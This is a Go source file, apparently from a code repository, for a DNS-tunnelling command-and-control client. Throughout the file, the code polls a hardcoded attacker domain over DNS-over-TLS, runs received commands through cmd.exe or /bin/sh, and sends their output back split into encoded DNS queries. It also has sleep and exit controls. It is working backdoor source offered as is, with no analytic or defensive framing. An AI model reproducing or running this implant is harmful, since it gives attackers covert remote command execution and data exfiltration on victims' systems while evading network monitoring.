/
client.go
173 lines (157 loc) · 3.99 KB
/
client.go
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package main
import (
"fmt"
"github.com/jxskiss/base62"
"github.com/miekg/dns"
"math"
"math/rand"
"os"
"os/exec"
"runtime"
"strconv"
"strings"
"sync"
"time"
)
var wg = sync.WaitGroup{}
const c2addr = ".r.rce.moe."//必须以点开头结尾
const addrstr = "123.125.81.6:853" // 123.125.81.6:853 (360 DNS) DoT
//const addrstr = "8.8.8.8:53"
const payloadlen = 70.00
const retry = 10
const t = 10 //多线程
var sleep = 10
var clientid = ""
func send(data []byte, packnumer string, mapnumer string, ch chan bool) {
defer wg.Done()
trytimes := 0
ch <- true
m := new(dns.Msg)
m.SetQuestion(packnumer+"-"+mapnumer+"-"+string(base62.Encode(data))+c2addr, dns.TypeTXT)
//cl := &dns.Client{}
cl := &dns.Client{Net: "tcp-tls"}
SEND1:
in, _, err := cl.Exchange(m, addrstr)
if err != nil {
println("conn err retry \n%v", in)
if trytimes > retry {
println("senddata err ")
<-ch
return
}
trytimes += 1
goto SEND1
}
if in == nil || in.Rcode != dns.RcodeSuccess {
println("invalid answer retry \n%v", in)
if trytimes > retry {
println("senddata err")
<-ch
return
}
trytimes += 1
goto SEND1
}
<-ch
}
func senddata(data []byte, packnumer string) {
//trytimes := 0
ch := make(chan bool, t)
if (float64(len(data))*1.35 + float64(len(c2addr)+len(packnumer)+1+1+6)) < (payloadlen) {
wg.Add(1)
send(data, packnumer, "ffffff", ch)
} else {
/*需要分片*/
limitlen := int(math.Floor((payloadlen - float64(len(c2addr)+len(packnumer)+1+1+6)) / 1.35))
//分片最大数量 16777215 可以修改 575Mb
// 包序号-分片序号-数据.addr
times := int(math.Ceil(float64(len(data)) / float64(limitlen)))
if times > 16777215 {
println("senddata err")
return
}
println("max bits ", 16777215*limitlen)
var tempdata []byte
for i := 0; i < times; i++ {
if i*limitlen+limitlen < len(data) {
tempdata = data[(i * limitlen) : (i+1)*limitlen]
} else {
tempdata = data[(i * limitlen):]
}
if i != (times - 1) {
wg.Add(1)
go send(tempdata, packnumer, strconv.FormatInt(int64(i), 16), ch)
} else {
}
}
wg.Wait()
wg.Add(1)
send(tempdata, packnumer, "ffffff", ch) //阻塞 最后一个包
print("发送完毕")
}
}
func main() {
rand.Seed(time.Now().UnixNano())
clientid = strconv.FormatInt(int64(100000+rand.Intn(900000)), 16)
m := new(dns.Msg)
m.SetQuestion(strconv.FormatInt(int64(time.Now().Unix()), 16)+c2addr, dns.TypeTXT)
for {
m := new(dns.Msg)
m.SetQuestion(strconv.FormatInt(int64(time.Now().Unix()), 16)+"-"+clientid+c2addr, dns.TypeTXT)
cl := &dns.Client{Net: "tcp-tls"}
in, _, err := cl.Exchange(m, addrstr)
if err != nil {
println(err)
}
if in != nil {
if in.Rcode == dns.RcodeSuccess {
for _, answer := range in.Answer {
if answer.Header().Rrtype == dns.TypeTXT {
for _, txt := range answer.(*dns.TXT).Txt {
cmdarr := strings.Split(txt, "|")
//taskid|tasktype|taskdata
if len(cmdarr) != 3 {
continue
}
taskdata, err := base62.Decode([]byte(cmdarr[2]))
if err != nil {
senddata([]byte("Decode taskdata error"), cmdarr[0])
continue
}
switch cmdarr[1] {
case "1":
fmt.Printf("exec cmd")
if runtime.GOOS == "windows" {
cmd := exec.Command("cmd.exe", "/c", string(taskdata))
output, err := cmd.Output()
if err != nil {
senddata([]byte(err.Error()), cmdarr[0])
}
senddata(output, cmdarr[0])
} else {
cmd := exec.Command("/bin/sh", "-c", string(taskdata))
output, err := cmd.Output()
if err != nil {
senddata([]byte(err.Error()), cmdarr[0])
}
senddata(output, cmdarr[0])
}
case "2": //sleep
s, err := strconv.Atoi(string(taskdata))
if err == nil {
sleep = s
}
case "3": //exit
os.Exit(0)
default:
continue
}
println(txt)
}
}
}
}
}
time.Sleep(time.Second * time.Duration(sleep))
}
}